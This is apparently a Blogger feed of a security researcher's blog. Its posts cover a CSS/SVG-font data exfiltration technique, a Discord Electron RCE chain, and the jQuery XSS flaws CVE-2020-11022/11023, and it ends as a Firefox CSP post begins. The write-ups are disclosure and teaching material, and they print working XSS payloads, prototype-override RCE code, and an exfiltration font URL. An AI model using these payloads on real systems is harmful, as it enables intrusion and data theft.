tag:blogger.com,1999:blog-30908238907220329252024-03-29T02:17:32.582-07:00MKSB(en)Masato Kinugawa's Security Blog / <a href="https://twitter.com/kinugawamasato">@kinugawamasato</a>Unknownnoreply@blogger.comBlogger18125tag:blogger.com,1999:blog-3090823890722032925.post-74705379786483513712021-11-28T00:58:00.002-08:002021-12-02T00:06:21.339-08:00Data Exfiltration via CSS + SVG Font<p>This post will show that the SVG fonts and CSS can be used for reading the page's text contents.</p><p>There are several known ways to read the page's text contents with CSS. The known techniques are well covered in the following article by Juan Manuel Fernández:</p><p><a href="https://x-c3ll.github.io/posts/CSS-Injection-Primitives/">CSS Injection Primitives :: DoomsDay Vault</a></p><p>These techniques can be useful to attackers in some situations, for example, when the input is sanitized and only limitted HTML tags can be used, or JavaScript cannot be used due to the Content Security Policy (CSP) restrictions.</p><p>The technique I want to introduce today is one such technique. The basic idea is the same as the following font ligature trick by Michał Bentkowski.</p><p><a href="https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/">Stealing Data in Great style – How to Use CSS to Attack Web Application. - research.securitum.com</a></p><p>It is the mostly same but I've never seen any article mentioning this and I thought it is worth mentioning because the technique I'll explain here can be useful in the specific situation such as when Michał's technique cannot be used due to the CSP's restriction, so I'm writing this.</p><p>Well, <a href="https://masatokinugawa.l0.cm/2021/11/css-exfiltration-svg-font.html">in my Japanese blog post</a>, around here, I explained Michał's trick in detail in my words but the person who is reading this can read English, so please read his article first :)</p><p>Okay, you've read it, right? As you learned from his article, he used WOFF fonts convereted from SVG fonts. In my trick, I use SVG fonts without convering it. Michał said "browsers have stopped supporting the SVG format in fonts (hence the need to use the WOFF format)" but in fact, Safari still supports it. After all, the trick I am about to introduce is just a replacement of his trick with SVG fonts. But still, the reason I want to dare to introduce this trick is that SVG fonts can be used even when loading fonts is blocked by the CSP's restriction. That is, SVG fonts allow reading text contents even on pages where the CSP prohibits loading fonts. This is because SVG fonts can not only be loaded from URLs, like WOFF fonts, but also all font's components can be defined with in-line without loading from URLs.</p><p>Let's see how Michał's trick can be replaced.</p><p>In his trick, the WOFF font is loaded via <style>'s @font-face.</p><blockquote class="tr_bq nowrap"><style><br />@font-face {<br /> font-family: "hack";<br /> src: url(http://192.168.13.37:3001/font/%22/0)<br />}<br />[...]<br /></style></blockquote><p>This style can be replaced with the following inline SVG.</p><blockquote class="tr_bq nowrap"><svg><br /><defs><br /><font horiz-adv-x="0"><br /><font-face font-family="hack" units-per-em="1000"></font-face><br /><glyph unicode="&quot;0" horiz-adv-x="99999" d="M1 0z"></glyph><br /><glyph unicode="1" horiz-adv-x="0" d="M1 0z"></glyph><br /><glyph unicode="2" horiz-adv-x="0" d="M1 0z"></glyph><br /><glyph unicode="3" horiz-adv-x="0" d="M1 0z"></glyph><br /><glyph unicode="4" horiz-adv-x="0" d="M1 0z"></glyph><br /><glyph unicode="5" horiz-adv-x="0" d="M1 0z"></glyph><br />[...]<br /></font><br /></defs><br /></svg></blockquote><p>Now, if the font-family property is set to "hack" via CSS, the SVG font is applied to the target's text even outside the SVG. This is not blocked by CSP even if the font-src 'none' is set. (Note that to observe the leaked data, this trick uses the background image request as well as Michał's trick, so at least, the host which can observe the request must be allowed in the img-src directive.)</p><p>I'll show you the PoC. When there is a vulnerable page like the following,</p><p><a href="https://vulnerabledoma.in/svg_font/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C/script%3E">https://vulnerabledoma.in/svg_font/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C/script%3E</a></p><blockquote class="tr_bq nowrap"><!DOCTYPE html><br /><html><br /><head><br /><meta charset="utf-8"><br /><meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-random';style-src 'unsafe-inline';img-src https:"><br /></head><br /><body><br /><script id="leakme" nonce="random"><br />const secret = "573ba8e9bfd0abd3d69d8395db582a9e";<br /></script><br /><br /><script nonce="random"><br />const params = (new URL(document.location)).searchParams;<br />const xss = params.get('xss');<br />if(xss){<br /> document.write(xss);<br />}<br /></script><br /></body><br /></html></blockquote><p>I'll show you SVG fonts can leak the "secret" variable.</p><p>You can reproduce it by opening the following URL with Safari and clicking the "Go" button. </p><p>PoC: <a href="https://l0.cm/svg_font/poc.php">https://l0.cm/svg_font/poc.php</a></p><p>The all code can be found in: <a href="https://github.com/masatokinugawa/css-exfiltration-svg-font">https://github.com/masatokinugawa/css-exfiltration-svg-font</a></p><p>If the PoC works correctly, like the following video, multiple new windows will open and after waiting for a while, the secret variable's string will be displayed little by little, like "573b ..." on the page having the "Go" button.</p>
<iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/iUzNA2St3Bc" title="YouTube video player" width="560"></iframe>
<p>It's almost the same as Michał's PoC, except that it uses SVG fonts, but there are a few changes. In his PoC, he loads the target page into the iframe but in my PoC, I used window.open() instead. This is because <a href="https://webkit.org/blog/10218/full-third-party-cookie-blocking-and-more/">Safari blocks all third party cookies by default</a> now and I thought the attack using the iframe is not so realistic PoC for Safari. Also, I changed the way to pass the data. Here again, due to the third party cookie blocking, the cookie can not be set when the background image is loaded, so I used the session id with the URL parameter instead. </p><p>By the way, if you're used to Chrome, you might wonder why multiple new windows are opened by one click. This is because Safari have the popup blocker but there is no limit to the number of windows that can be opened by one click. Thanks to this, it is possible to efficiently try to read the data using multiple windows. </p><p><span style="background-color: white; font-family: Roboto; font-size: 16px;">That's it. </span><span style="font-family: Roboto;">Thanks for reading! I hope this post helps you out.</span></p>Unknownnoreply@blogger.com27tag:blogger.com,1999:blog-3090823890722032925.post-60544371442261066862020-10-17T08:24:00.003-07:002020-10-18T00:42:57.864-07:00 Discord Desktop app RCE<p>A few months ago, I discovered a remote code execution issue in the <a href="https://discord.com/">Discord</a> desktop application and I reported it via their <a href="https://discord.com/security">Bug Bounty Program</a>.</p><p>The RCE I found was an interesting one because it is achieved by combining multiple bugs. In this article, I'd like to share the details.</p><h3>Why I chose Discord for the target</h3><p>I kind of felt like finding for vulnerabilities of the Electron app, so I was looking for a bug bounty program which pays the bounty for an Electron app and I found Discord. Also, I am a Discord user and simply wanted to check if the app I'm using is secure, so I decided to investigate.</p><h3>Bugs I found</h3><p>Basically I found the following three bugs and achieved RCE by combining them.</p><p></p><ol><li>Missing contextIsolation</li><li>XSS in iframe embeds</li><li>Navigation restriction bypass (CVE-2020-15174)</li></ol><p></p><p>I'll explain these bugs one by one.</p><h3>Missing contextIsolation</h3><p>When I test Electron app, first I always check the options of the <a href="https://www.electronjs.org/docs/api/browser-window">BrowserWindow API</a>, which is used to create a browser window. By checking it, I think about how RCE can be achieved when arbitrary JavaScript execution on the renderer is possible.</p><p>The Discord's Electron app is not an open source project but the Electron's JavaScript code is saved locally with the asar format and I was able to read it just by extracting it.</p><p>In the main window, the following options are used: </p><blockquote class="tr_bq nowrap">const mainWindowOptions = {<br /> title: 'Discord',<br /> backgroundColor: getBackgroundColor(),<br /> width: DEFAULT_WIDTH,<br /> height: DEFAULT_HEIGHT,<br /> minWidth: MIN_WIDTH,<br /> minHeight: MIN_HEIGHT,<br /> transparent: false,<br /> frame: false,<br /> resizable: true,<br /> show: isVisible,<br /> webPreferences: {<br /> blinkFeatures: 'EnumerateDevices,AudioOutputDevices',<br /> <span style="background-color: #fcff01;"><b>nodeIntegration: false</b></span>,<br /> preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),<br /> nativeWindowOpen: true,<br /> enableRemoteModule: false,<br /> spellcheck: true<br /> }<br />};</blockquote><p>The important options which we should check here are especially <i>nodeIntegration</i> and <i>contextIsolation</i>. From the above code, I found that the <i>nodeIntegration</i> option is set to false and the <i>contextIsolation</i> option is set to false (the default of the used version) in the Discord's main window.</p><p>If the nodeIntegration is set to true, a web page's JavaScript can use Node.js features easily just by calling the <code>require()</code>. For example, the way to execute the calc application on Windows is:</p><blockquote class="tr_bq"><script><br /> require('child_process').exec('calc');<br /></script></blockquote><p>In this time, the <i>nodeIntegration</i> was set to false, so I couldn't use Node.js features by calling the <code>require()</code> directly.</p><p>However, there is still a possibility of access to Node.js features. The <i>contextIsolation</i>, another important option, was set to false. This option should not be set to false if you want to eliminate the possibility of RCE on your app.</p><p>If the <i>contextIsolation</i> is disabled, a web page's JavaScript can affect the execution of the <a href="https://github.com/electron/electron/tree/83bb065b4f6ed512d545c46389a7fdc114c94a54/lib/renderer">Electron's internal JavaScript code on the renderer</a>, and preload scripts (In the following, these JavaScript will be referred to as the JavaScript code outside web pages). For example, if you override <code>Array.prototype.join</code>, one of the JavaScript built-in methods, with another function from a web page's JavaScript, the JavaScript code outside web pages also will use the overridden function when the <code>join</code> is called.</p><p>This behavior is dangerous because Electron allows the JavaScript code outside web pages to use the Node.js features regardless the <i>nodeIntegration</i> option and by interfering with them from the function overridden in the web page, it could be possible to achieve RCE even if the <i>nodeIntegration</i> is set to false.</p><div>By the way, a such trick was previously not known. It was first discovered in a pentest by Cure53, which I also joined in, in 2016. After that, we reported it to Electron team and the <i>contextIsolation</i> was introduced.</div><p>Recently, that pentest report was published. If you are interested, you can read it from the following link:</p><p>Pentest-Report Ethereum Mist 11.2016 - 10.2017<br /><a href="https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view">https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view</a></p><p>You can also read the slides which I used at a CureCon event:</p><script async="" class="speakerdeck-embed" data-id="ad6409b826fc4f0ea457b2676fc61f16" data-ratio="1.33333333333333" src="//speakerdeck.com/assets/embed.js"></script><p><br /></p><p>The <i>contextIsolation</i> introduces the separated contexts between the web page and the JavaScript code outside web pages so that the JavaScript execution of each code does not affect each. This is a necessary faeture to eliminate the possibility of RCE, but this time it was disabled in Discord.</p><p>Now I found that the <i>contextIsolation</i> is disabled, so I started looking for a place where I could execute arbitrary code by interfering with the JavaScript code outside web pages.</p><p>Usually, when I create a PoC for RCE in the Electron's pentests, I first try to achieve RCE by using the Electron's internal JavaScript code on the renderer. This is because the Electron's internal JavaScript code on the renderer can be executed in any Electron app, so basically I can reuse the same code to achieve RCE and it's easy.</p><p>In my slides, <a href="https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41">I introduced</a> that RCE can be achieved by using the code which Electron executes at the navigation timing. It's not only possible from that code but there are such code in some places. (I'd like to publish examples of the PoC in the future.)</p><p>However, depending on the version of Electron used, or the <i>BrowserWindow</i> option which is set, because the code has been changed or the affected code can't be reached correctly, sometimes PoC via the Electron's code does not work well. In this time, it did not work, so I decided to change the target to the preload scripts.</p><div><div>When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via <code>DiscordNative.nativeModules.requireModule('MODULE-NAME')</code>, into the web page.</div></div><div><br /></div><div>Here, I couldn't use modules that can be used for RCE directly, such as <i>child_process</i> module, but I found a code where RCE can be achieved by overriding the JavaScript built-in methods and interfering with the execution of the exposed module.</div><p>The following is the PoC. I was able to confirm that the calc application is popped up when I call the <code>getGPUDriverVersions</code> function which is defined in the module called "<i>discord_utils</i>" from devTools, while overriding the <code>RegExp.prototype.test</code> and <code>Array.prototype.join</code>.</p><blockquote class="tr_bq nowrap">RegExp.prototype.test=function(){<br /> return false;<br />}<br />Array.prototype.join=function(){<br /> return "calc";<br />}<br />DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();</blockquote><p>The <code>getGPUDriverVersions</code> function tries to execute the program by using the "<i>execa</i>" library, like the following:</p><blockquote class="tr_bq nowrap">module.exports.getGPUDriverVersions = async () => {<br /> if (process.platform !== 'win32') {<br /> return {};<br /> }<br /><br /> const result = {};<br /> const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;<br /><br /> try {<br /> result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));<br /> } catch (e) {<br /> result.nvidia = {error: e.toString()};<br /> }<br /><br /> return result;<br />};</blockquote><p>Usually the <i>execa</i> tries to execute "<i>nvidia-smi.exe</i>", which is specified in the <code>nvidiaSmiPath</code> variable, however, due to the overridden <code>RegExp.prototype.test</code> and <code>Array.prototype.join</code>, the argument is replaced to "<i>calc</i>" in the <i>execa</i>'s internal processing.</p><p>Specifically, the argument is replaced by changing the following two parts.</p><p><a href="https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36">https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36</a></p><p><a href="https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55">https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55</a></p><p>The remaining work is to find a way to execute JavaScript on the application. If I can find it, it leads to actual RCE.</p><h3>XSS in iframe embeds</h3><p>As explained above, I found that RCE could happen from arbitrary JavaScript execution, so I was trying to find an XSS vulnerability. The app supports the autolink or Markdown feature, but looked like it is good. So I turned my attention to the iframe embeds feature. The iframe embeds is the feature which automatically displays the video player on the chat when the YouTube URL is posted, for example.</p><p>When the URL is posted, Discord tries to get the <a href="https://ogp.me/">OGP</a> information of that URL and if there is the OGP information, it displays the page's title, description, thumbnail image, associated video and so on in the chat.</p><p>The Discord extracts the video URL from the OGP and only if the video URL is allowed domain and the URL has actually the URL format of the embeds page, the URL is embedded in the iframe.</p><p>I couldn't find the documentation about which services can be embedded in the iframe, so I tried to get a hint by checking the CSP's <i>frame-src</i> directive. At that time, the following CSP was used:</p><blockquote class="tr_bq">Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com</blockquote><p>Obviously, some of them are listed to allow iframe embeds (e.g. YouTube, Twitch, Spotify). I tried to check if the URL can be embeded in the iframe by specifying the domain into the OGP information one by one and tried to find XSS on the embedded domains. After some attempts, I found that the <a href="https://sketchfab.com">sketchfab.com</a>, which is one of the domains listed in the CSP, can be embedded in the iframe and found XSS on the embeds page. I didn't know about Sketchfab at that time, but it seems that it is a platform in which users can publish, buy and sell 3D models. There was a simple DOM-based XSS in the footnote of the 3D model.</p><p>The following is the PoC, which has the crafted OGP. When I posted this URL to the chat, the Sketchfab was embedded into the iframe on the chat, and after a few clicks on the iframe, arbitrary JavaScript was executed.</p><p><a href="https://l0.cm/discord_rce_og.html">https://l0.cm/discord_rce_og.html</a></p><blockquote class="tr_bq nowrap"><head><br /> <meta charset="utf-8"><br /> <meta property="og:title" content="RCE DEMO"><br /> [...]<br /> <meta property="<span style="background-color: #fcff01;"><b>og:video:url</b></span>" content="https://<span style="background-color: #fcff01;"><b>sketchfab.com</b></span>/models/2b198209466d43328169d2d14a4392bb/embed"><br /> <meta property="og:video:type" content="text/html"><br /> <meta property="og:video:width" content="1280"><br /> <meta property="og:video:height" content="720"><br /></head></blockquote><p>Okay, finally I found an XSS, but the JavaScript is still executed on the iframe. Since Electron doesn't load the "JavaScript code outside web pages" into the iframe, so even if I override the JavaScript built-in methods on the iframe, I can't interfere with the Node.js' critical parts. To achieve RCE, we need to get out of the iframe and execute JavaScript in a top-level browsing context. This requires opening a new window from the iframe or navigating the top window to another URL from the iframe.</p><p>I checked the related code and I found the code to restrict navigations by using "<i>new-window</i>" and "<i>will-navigate</i>" event in the code of the main process:</p><blockquote class="tr_bq nowrap">mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {<br /> e.preventDefault();<br /> if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {<br /> popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);<br /> } else {<br /> _electron.shell.openExternal(windowURL);<br /> }<br />});<br />[...]<br />mainWindow.webContents.on('will-navigate', (evt, url) => {<br /> if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {<br /> evt.preventDefault();<br /> }<br />});</blockquote><p>I thought this code can correctly prevent users from opening the new window or navigating the top window. However, I noticed the unexpected behavior.</p><h3>Navigation restriction bypass (CVE-2020-15174)</h3><p>I thought the code is okay but I tried to check that the top navigation from the iframe is blocked anyway. Then, surprisingly, the navigation was not blocked for some reason. I expected that the attempt is catched by the "<i>will-navigate</i>" event before the navigation happens and refused by the <code>preventDefault()</code>, but is not.</p><div><div>To test this behavior, I created a small Electron app. And I found that the "<i>will-navigate</i>" event is not emitted from the top navigation started from an iframe for some reason. To be exact, if the top's origin and iframe's origin is in the same-origin, the event is emitted but if it is in the different origin, the event is not emitted. I didn't think that there is a a legitimate reason for this behavior, so I thought this is an Electron's bug and decided to report to Electron team later.</div></div><p>With the help of this bug, I was able to bypass the navigation restriction. The last thing I should do is just a navigation to the page which contains the RCE code by using the iframe's XSS, like <code>top.location="//l0.cm/discord_calc.html"</code>.</p><p>In this way, by combining with three bugs, I was able to achieve RCE as shown in the video below.</p><p><iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/0f3RrvC-zGI" width="560"></iframe></p><p><br /></p><h3>In the end</h3><p>These issues were reported through <a href="https://discord.com/security">Discord's Bug Bounty Program</a>. First, Discord team disabled the Sketchfab embeds, and a workaround was taken to prevent navigation from the iframe by adding the <i>sandbox</i> attribute to the iframe. After a while, the <i>contextIsolation</i> was enabled. Now even if I could execute arbitrary JavaScript on the app, RCE does not occur via the overridden JavaScript built-in methods. I received $5,000 as a reward for this discovery.</p><p>The XSS on Sketchfab was reported through <a href="https://help.sketchfab.com/hc/en-us/articles/360044282632-Security-Vulnerabilities-Bug-Bounty">Sketchfab's Bug Bounty Program</a> and fixed by Sketchfab developers quickly. I received $300 as a reward for this discovery.</p><p>The bug in the "<i>will-navigate</i>" event was reported as a bug of Electron to <a href="https://github.com/electron/electron/security/policy">Electron's security team</a>, and it was fixed as the following vulnerability (CVE-2020-15174).</p><p>Unpreventable top-level navigation · Advisory · electron/electron<br /><a href="https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674">https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674</a></p><p>That's it. Personally, I like that the external page's bug or Electron's bug, which is unrelated to the app itself's implementation, led to RCE :)</p><p>I hope this article helps you keep your Electron apps secure.</p><p>Thanks for reading!</p>Unknownnoreply@blogger.com52tag:blogger.com,1999:blog-3090823890722032925.post-63067276163816091342020-05-17T12:45:00.000-07:002020-05-17T16:42:13.132-07:00CVE-2020-11022/CVE-2020-11023: jQuery 3.5.0 Security Fix detailsjQuery 3.5.0 was released last month. In this version, two bugs which I reported are included as "Security Fix".<br />
<br />
jQuery 3.5.0 Released! | Official jQuery Blog<br />
<a href="https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/">https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/</a><br />
<br />
The bugs are regsited as CVE-2020-11022 and CVE-2020-11023:<br />
<br />
<a href="https://github.com/advisories/GHSA-gxr4-xjj5-5px2">https://github.com/advisories/GHSA-gxr4-xjj5-5px2</a><br />
<a href="https://github.com/advisories/GHSA-jpcq-cgw6-v4j6">https://github.com/advisories/GHSA-jpcq-cgw6-v4j6</a><br />
<br />
In this article, I'd like to explain the bugs' details.<br />
<br />
<h3>
Overview of Problems</h3>
<br />
The application which has the following features is affected:<br />
<br />
<ul>
<li>The application allows users to write any HTML (but it is sanitized)</li>
<li>The application dynamically appends the sanitized HTML with jQuery</li>
</ul>
<br />
The following code is an example of a such application:<br />
<blockquote class="tr_bq">
<div id="div"></div><br />
<script><br />
//Sanitized safe HTML<br />
sanitizedHTML = '<p title="foo">bar</p>';<br />
//Just append the sanitized HTML to <div><br />
$('#div').html(sanitizedHTML);<br />
</script></blockquote>
In this situation, if the sanitization is performed properly, it looks like that usually XSS does not occur since it just appends the sanitized safe HTML. However, actually, <code>.html()</code> does the special string processing internally and it caused XSS. This is the issue which I'll explain in this article.<br />
<br />
<h3>
PoCs</h3>
<br />
There are many variations but I'll show basic three PoCs. Usually, JavaScript is not executed from the following HTMLs:<br />
<br />
<blockquote class="tr_bq">
PoC 1.<br />
<style><style /><img src=x onerror=alert(1)> </blockquote>
<blockquote class="tr_bq">
PoC 2. (Only jQuery 3.x affected)<br />
<img alt="<x" title="/><img src=x onerror=alert(1)>"></blockquote>
<blockquote class="tr_bq">
PoC 3.<br />
<option><style></option></select><img src=x onerror=alert(1)></style></blockquote>
You might think there is an img tag which has an onerror attribute, but if you check carefully, actually, it is placed in the attribute or inside of the style element, you will notice that it is not executed. So, even if those HTMLs are generated by an HTML sanitizer as the sanitized HTML, it is not unnatural at all.<br />
<br />
However, in all cases, if the HTML is appended via jQuery <code>.html()</code>, JavaScript is executed unexpectedlly.<br />
<br />
You can test each PoC in:<br />
<a href="https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html">https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html</a><br />
<br />
Next, I'll explain why it happens.<br />
<br />
<h3>
CVE-2020-11023: Root cause (PoC 1,2)</h3>
<br />
The PoC 1 and 2 have the same root cause. Within the <code>.html()</code>, the HTML string passed as the argument is passed to the <a href="https://api.jquery.com/jQuery.htmlPrefilter/">$.htmlPrefilter()</a> method. The <code>htmlPrefilter</code> performs the processing for replacing the self-closing tags like <code><tagname <span style="background-color: yellow;"><b>/></b></span></code> to <code><tagname ></tagname></code>, by using the following regex:<br />
<br />
<blockquote class="tr_bq nowrap">
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi<br />
[...]<br />
htmlPrefilter: function( html ) {<br />
return html.replace( rxhtmlTag, "<$1></$2>" );<br />
} </blockquote>
If the PoC 1's HTML passes through this replacement, the output will be:<br />
<blockquote class="tr_bq">
> $.htmlPrefilter('<style><span style="background-color: yellow;"><b><style /></b></span><img src=x onerror=alert(1)>')<br />
< "<style><span style="background-color: yellow;"><b><style ></style></b></span><img src=x onerror=alert(1)>"</blockquote>
The yellow part is the replaced string. Due to this replacement, the <code><style /></code> inside the style element is replaced to <code><style ></style></code> and as the result, the string after that is kicked out from the style element. After that, the <code>.html()</code> assigns the replaced HTML to <code>innerHTML</code>. Here, the <code><img ...></code> string becomes an actual img tag and it fires the onerror event.<br />
<br />
By the way, the above regex is used in jQuery before 3.x. Since 3.x, another regex which is a bit modified is used:<br />
<br />
<a href="https://github.com/jquery/jquery/commit/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30">https://github.com/jquery/jquery/commit/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30</a><br />
<blockquote class="tr_bq">
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi</blockquote>
<br />
This change introduced another XSS vector which can cause XSS by more basic elements and attributes only. The PoC 2's vector is introduced by this change. It works on jQuery 3.x only.<br />
<blockquote class="tr_bq">
> $.htmlPrefilter('<img alt="<x" title="/><img src=x onerror=alert(1)>">')<br />
< "<img alt="<x" title="></x"><img src=x onerror=alert(1)>">"</blockquote>
In this case, the <img ...> string on the attribute's value is kicked out and XSS happens.<br />
<br />
I explained the root cause of PoC 1 and 2. How did the jQuery team fix this?<br />
<br />
<h3>
The Fix (PoC 1,2)</h3>
<div>
<br /></div>
jQuery Team fixed this issue by replacing the <code>$.htmlPrefilter()</code> method to an identity function. Therefore, the passed HTML string is no longer modified by the <code>htmlPrefilter</code> function now.<br />
<br />
<a href="https://github.com/jquery/jquery/commit/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198">https://github.com/jquery/jquery/commit/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198</a><br />
<br />
However, this did not solve all XSS issues. Inside the <code>.html()</code>, another string processing is performed and introduces another problem (PoC 3).<br />
<br />
<h3>
CVE-2020-11022: Root cause (PoC 3)</h3>
<div>
<br /></div>
Inside the <code>.html()</code>, if the tag that appears at the beginning of the HTML which is passed as an argument is one of specific tags, jQuery tries to wrap it with another tag once and do the next processing. This is because some tags are automatically removed due to the HTML's specification or browser's bug if there is no wrapping processing.<br />
<br />
The opiton element is one of such elements - in MSIE9, due to its bug, the option element is automatically removed when it is assigned to <code>innerHTML</code>, if it is not wrapped with the select element.<br />
<br />
To deal with this, jQuery tries to wrap the entire passed HTML string including that element with the <code><select multiple='multiple'></code> and <code></select></code> if the passed HTML string's first element is the option element.<br />
<div>
<br /></div>
The wrapped tags are defined in:<br />
<a href="https://github.com/jquery/jquery/blob/3.4.1/src/manipulation/wrapMap.js#L9">https://github.com/jquery/jquery/blob/3.4.1/src/manipulation/wrapMap.js#L9</a><br />
<br />
The actual wrapping processing is done in:<br />
<a href="https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation/buildFragment.js#L39">https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation/buildFragment.js#L39</a><br />
<br />
The issue of PoC 3 happens via this wrapping processing. If the PoC 3's HTML passes through this wrapping processing, the HTML will be:<br />
<blockquote class="tr_bq">
<select multiple='multiple'><option><style></option></select><img src=x onerror=alert(1)></style></select></blockquote>
When this HTML is assigned to <code>innerHTML</code> in the jQuery's internal code, JavaScript is executed.<br />
<br />
The reason why the script is executed is in the <code><select></code> tag's parsing.The <code><select></code> <a href="https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inselect">does not allow</a> putting HTML tags except the option, optgroup, script and template element inside that element. Due to this specification, the inserted <style> is just ignored, the <code></select></code> inside the <code><style></code> becomes an actual select element's closing-tag, and then <code><select></code> block is closed there. Eventually, the next <code><img ...></code> is kicked out from the <code><style></code> and the onerror event fires -> XSS. This was the root cause.<br />
<br />
<h3>
The Fix (PoC 3)</h3>
<br />
jQuery Team fixed this issue by applying the wrapping procesing to MSIE9 only.<br />
<br />
<a href="https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25">https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25</a><br />
<br />
MSIE9 is not vulnerable to this issue because MSIE9's <code><select></code> parsing is a bit special (yes, it's wrong). Therefore, applying the wrapping processing to MSIE9 only can solve this problem.<br />
<br />
For your information, these issues exist not only in <code>.html()</code>, but also in <code>.append()</code>, <code>$('<tag>')</code> etc. Basically, the issue happens via the APIs in which the <code>$.htmlPrefilter()</code> method or wrapping processing is used internally.<br />
<br />
<h3>
Update it</h3>
<br />
If your application is appending the sanitized HTML via the jQuery functions, you should update to 3.5.0 or higher. If an updating is hard in some reason, I recommend sanitizing the HTML by using <a href="https://github.com/cure53/DOMPurify">DOMPurify</a>, which is XSS sanitizer. DOMPurify has a <code>SAFE_FOR_JQUERY</code> option and it can sanitize with considering the jQuery's behavior. You can use that, like this:<br />
<br />
<blockquote class="tr_bq nowrap">
<div id="div"></div><br />
<script><br />
unsafeHtml = '<img alt="<x" title="/><img src=x onerror=alert(1)>">';<br />
var sanitizedHtml = DOMPurify.sanitize( unsafeHtml, { SAFE_FOR_JQUERY: true } );<br />
$('#div').html( sanitizedHtml );<br />
</script></blockquote>
Note that DOMPurify had the bypass in <code>SAFE_FOR_JQUERY</code> recently. Please make sure that you use <a href="https://github.com/cure53/DOMPurify/releases/tag/2.0.8">2.0.8</a> or higher.<br />
<br />
<h3>
In the end</h3>
<br />
I started to investigate this issue from XSS challenge by <a href="https://twitter.com/PwnFunction">@PwnFunction</a>:<br />
<a href="https://xss.pwnfunction.com/challenges/ww3/">https://xss.pwnfunction.com/challenges/ww3/</a><br />
<br />
Actually, the some of these bugs were known and it was the expected solution of this challenge. (You can find that fact in the <a href="https://github.com/cure53/DOMPurify/commit/9bbd56069e46e282bafad1fab3c6c23c5b331604">DOMPurify's change log</a>. It was already known in 2014 at least and DOMPurify has the <code>SAFE_FOR_JQUERY</code> option since 2014. )<br />
<br />
With the challenge as a trigger, I started to read jQuery's source code again and I noticed another vector (PoC 2), which is not mentioned publicly. Since this vector can allow XSS with the easy elements and attributes only, I thought many applications are vulnerable. When I actually investigated it, I found some vulnerable apps immediately. I reported it to the developer of the affected applications, at the same time I thought that this issue should be fixed by jQuery side, so I decided to report this to jQuery team. The jQuery team were quick to address the issues, even though they had to make breaking changes. Thank you jQuery team. Also, thanks to <a href="https://twitter.com/PwnFunction">@PwnFunction</a>, the creator of the XSS challenge, who gave me an opportunity to investigate this issue.<br />
<br />
That's it. I hope this article helps for securing your web application or finding bugs.Unknownnoreply@blogger.com41tag:blogger.com,1999:blog-3090823890722032925.post-34695612747859076302018-05-24T02:02:00.000-07:002018-05-26T12:04:18.308-07:00CVE-2018-5175: Universal CSP strict-dynamic bypass in FirefoxIn this blogpost, I'd like to write about a CSP strict-dynamic bypass vulnerability which is fixed in Firefox 60.<br />
<br />
<a href="https://www.mozilla.org/en-US/security/advisories/mfsa2018-11/#CVE-2018-5175">https://www.mozilla.org/en-US/security/advisories/mfsa2018-11/#CVE-2018-5175</a><br />
<blockquote class="tr_bq">
